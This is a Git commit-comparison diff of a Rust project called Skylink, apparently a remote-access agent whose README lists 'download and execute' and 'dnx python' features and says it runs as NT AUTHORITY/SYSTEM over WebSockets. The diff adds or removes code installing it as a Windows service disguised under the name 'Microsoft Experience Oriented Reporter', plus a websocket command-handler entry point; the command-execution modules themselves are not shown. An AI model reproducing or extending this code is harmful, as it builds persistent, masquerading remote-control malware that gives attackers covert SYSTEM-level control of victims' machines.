Compare commits
No commits in common. "e16bbd894cab37182e8a1518449c794cfacbfa2f" and "ecb098e15b0ac9156254b663bf00507aee6d7f2b" have entirely different histories.
e16bbd894c
...
ecb098e15b
3 changed files with 11 additions and 164 deletions
|
|
@ -5,7 +5,7 @@ edition = "2024"
|
||||||
build = "build.rs"
|
build = "build.rs"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std", "signal" ] }
|
tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std"] }
|
||||||
tokio-tungstenite = "0.28"
|
tokio-tungstenite = "0.28"
|
||||||
reqwest = "0.12"
|
reqwest = "0.12"
|
||||||
serde = "1.0"
|
serde = "1.0"
|
||||||
|
|
@ -25,7 +25,6 @@ anyhow = "1.0.100"
|
||||||
futures-util = "0.3.31"
|
futures-util = "0.3.31"
|
||||||
ntapi = "0.4.1"
|
ntapi = "0.4.1"
|
||||||
sysinfo = "0.37.2"
|
sysinfo = "0.37.2"
|
||||||
windows-service = "0.8.0"
|
|
||||||
|
|
||||||
[build-dependencies]
|
[build-dependencies]
|
||||||
dotenv = "0.15.0"
|
dotenv = "0.15.0"
|
||||||
|
|
|
||||||
|
|
@ -11,7 +11,7 @@ It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, becaus
|
||||||
- [X] basic commands
|
- [X] basic commands
|
||||||
- [X] download and execute
|
- [X] download and execute
|
||||||
- [X] dnx python
|
- [X] dnx python
|
||||||
- [X] windows service
|
- [ ] windows service
|
||||||
- [ ] criticality
|
- [ ] criticality
|
||||||
- [ ] screenshot functionality
|
- [ ] screenshot functionality
|
||||||
- [ ] test payloads with arguments
|
- [ ] test payloads with arguments
|
||||||
|
|
|
||||||
170
src/main.rs
170
src/main.rs
|
|
@ -1,169 +1,17 @@
|
||||||
|
use futures_util::{SinkExt, stream::StreamExt};
|
||||||
use skylink::lib::logger::{LogLevel, log};
|
use skylink::lib::logger::{LogLevel, log};
|
||||||
use skylink::lib::websockets::websocket_handler;
|
use skylink::{LOG_PATH, WS_URL};
|
||||||
use skylink::LOG_PATH;
|
use skylink::{WsTx, eval_command, lib::websockets::reconnect_websocket, lib::websockets::websocket_handler};
|
||||||
use skylink::WsTx;
|
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
use tokio::sync::Mutex;
|
use tokio::sync::Mutex;
|
||||||
use std::ffi::OsString;
|
use tokio_tungstenite::tungstenite::protocol::Message;
|
||||||
use std::time::Duration;
|
|
||||||
use std::sync::mpsc::channel;
|
|
||||||
|
|
||||||
use windows_service::{
|
#[tokio::main]
|
||||||
define_windows_service,
|
async fn main() -> anyhow::Result<()> {
|
||||||
service::{
|
|
||||||
ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus,
|
|
||||||
ServiceType,
|
|
||||||
},
|
|
||||||
service_control_handler::{self, ServiceControlHandlerResult},
|
|
||||||
service_dispatcher,
|
|
||||||
};
|
|
||||||
|
|
||||||
const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter";
|
|
||||||
const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS;
|
|
||||||
|
|
||||||
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
|
||||||
// Initialize logging
|
|
||||||
|
|
||||||
// Check if we are in a Debug build AND the environment variable is set
|
|
||||||
let is_debug_mode = cfg!(debug_assertions);
|
|
||||||
let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok();
|
|
||||||
|
|
||||||
if is_debug_mode && force_console {
|
|
||||||
println!("Detected Debug Env Var: Running as console application...");
|
|
||||||
run_as_console()?;
|
|
||||||
} else {
|
|
||||||
// Run as a Windows Service
|
|
||||||
run_as_service()?;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
// -------------------------------------------------------------------------
|
|
||||||
// SHARED BUSINESS LOGIC
|
|
||||||
// -------------------------------------------------------------------------
|
|
||||||
|
|
||||||
async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
|
|
||||||
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
|
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
|
||||||
let ws_tx: WsTx = Arc::new(Mutex::new(None));
|
let ws_tx: WsTx = Arc::new(Mutex::new(None));
|
||||||
let ws_tx_for_handler = Arc::clone(&ws_tx);
|
let ws_tx_for_handler = Arc::clone(&ws_tx);
|
||||||
websocket_handler(ws_tx_for_handler).await;
|
let handle = tokio::spawn(async { websocket_handler(ws_tx_for_handler).await });
|
||||||
|
let _ = handle.await;
|
||||||
// Wait for the shutdown signal
|
Ok(())
|
||||||
tokio::select! {
|
|
||||||
_ = shutdown_rx.recv() => {
|
|
||||||
log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// -------------------------------------------------------------------------
|
|
||||||
// MODE 1: CONSOLE / DEBUG
|
|
||||||
// -------------------------------------------------------------------------
|
|
||||||
|
|
||||||
fn run_as_console() -> Result<(), Box<dyn std::error::Error>> {
|
|
||||||
// Manually build the runtime because main() is synchronous
|
|
||||||
let rt = tokio::runtime::Runtime::new()?;
|
|
||||||
|
|
||||||
rt.block_on(async {
|
|
||||||
// Create a channel to signal shutdown
|
|
||||||
let (tx, rx) = tokio::sync::broadcast::channel(1);
|
|
||||||
|
|
||||||
// Handle Ctrl+C to behave like a polite console app
|
|
||||||
let tx_clone = tx.clone();
|
|
||||||
tokio::spawn(async move {
|
|
||||||
if let Ok(()) = tokio::signal::ctrl_c().await {
|
|
||||||
println!("\nCtrl+C detected.");
|
|
||||||
let _ = tx_clone.send(());
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// Run the app
|
|
||||||
run_app(rx).await;
|
|
||||||
});
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
// -------------------------------------------------------------------------
|
|
||||||
// MODE 2: WINDOWS SERVICE
|
|
||||||
// -------------------------------------------------------------------------
|
|
||||||
|
|
||||||
// Macro to generate the extern "system" entry point required by Windows
|
|
||||||
define_windows_service!(ffi_service_main, my_service_main);
|
|
||||||
|
|
||||||
fn run_as_service() -> Result<(), windows_service::Error> {
|
|
||||||
service_dispatcher::start(SERVICE_NAME, ffi_service_main)
|
|
||||||
}
|
|
||||||
|
|
||||||
fn my_service_main(_arguments: Vec<OsString>) {
|
|
||||||
// 1. Setup the event handler to communicate with the OS
|
|
||||||
let (shutdown_tx, shutdown_rx) = channel();
|
|
||||||
|
|
||||||
let event_handler = move |control_event| -> ServiceControlHandlerResult {
|
|
||||||
match control_event {
|
|
||||||
ServiceControl::Stop | ServiceControl::Interrogate => {
|
|
||||||
// Signal the logic to stop
|
|
||||||
let _ = shutdown_tx.send(());
|
|
||||||
ServiceControlHandlerResult::NoError
|
|
||||||
}
|
|
||||||
_ => ServiceControlHandlerResult::NotImplemented,
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) {
|
|
||||||
Ok(h) => h,
|
|
||||||
Err(e) => {
|
|
||||||
eprintln!("Failed to register service control handler: {}", e);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 2. Tell Windows we are running
|
|
||||||
let next_status = ServiceStatus {
|
|
||||||
service_type: SERVICE_TYPE,
|
|
||||||
current_state: ServiceState::Running,
|
|
||||||
controls_accepted: ServiceControlAccept::STOP,
|
|
||||||
exit_code: ServiceExitCode::Win32(0),
|
|
||||||
checkpoint: 0,
|
|
||||||
wait_hint: Duration::default(),
|
|
||||||
process_id: None,
|
|
||||||
};
|
|
||||||
if let Err(e) = status_handle.set_service_status(next_status) {
|
|
||||||
eprintln!("Failed to set service status: {}", e);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. Start Tokio Runtime and Block
|
|
||||||
// We create the runtime here because we are on the service thread provided by Windows.
|
|
||||||
let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod
|
|
||||||
|
|
||||||
rt.block_on(async move {
|
|
||||||
let (async_tx, async_rx) = tokio::sync::broadcast::channel(1);
|
|
||||||
|
|
||||||
// Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel
|
|
||||||
tokio::spawn(async move {
|
|
||||||
// This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking
|
|
||||||
// or just poll it if we expect it to be rare.
|
|
||||||
// Since this is the main logic block, we can just check it in a separate thread.
|
|
||||||
let _ = tokio::task::spawn_blocking(move || {
|
|
||||||
let _ = shutdown_rx.recv(); // Block waiting for OS stop command
|
|
||||||
}).await;
|
|
||||||
|
|
||||||
let _ = async_tx.send(()); // Tell app to stop
|
|
||||||
});
|
|
||||||
|
|
||||||
run_app(async_rx).await;
|
|
||||||
});
|
|
||||||
|
|
||||||
// 4. Tell Windows we have stopped
|
|
||||||
let stop_status = ServiceStatus {
|
|
||||||
service_type: SERVICE_TYPE,
|
|
||||||
current_state: ServiceState::Stopped,
|
|
||||||
controls_accepted: ServiceControlAccept::empty(),
|
|
||||||
exit_code: ServiceExitCode::Win32(0),
|
|
||||||
checkpoint: 0,
|
|
||||||
wait_hint: Duration::default(),
|
|
||||||
process_id: None,
|
|
||||||
};
|
|
||||||
let _ = status_handle.set_service_status(stop_status);
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue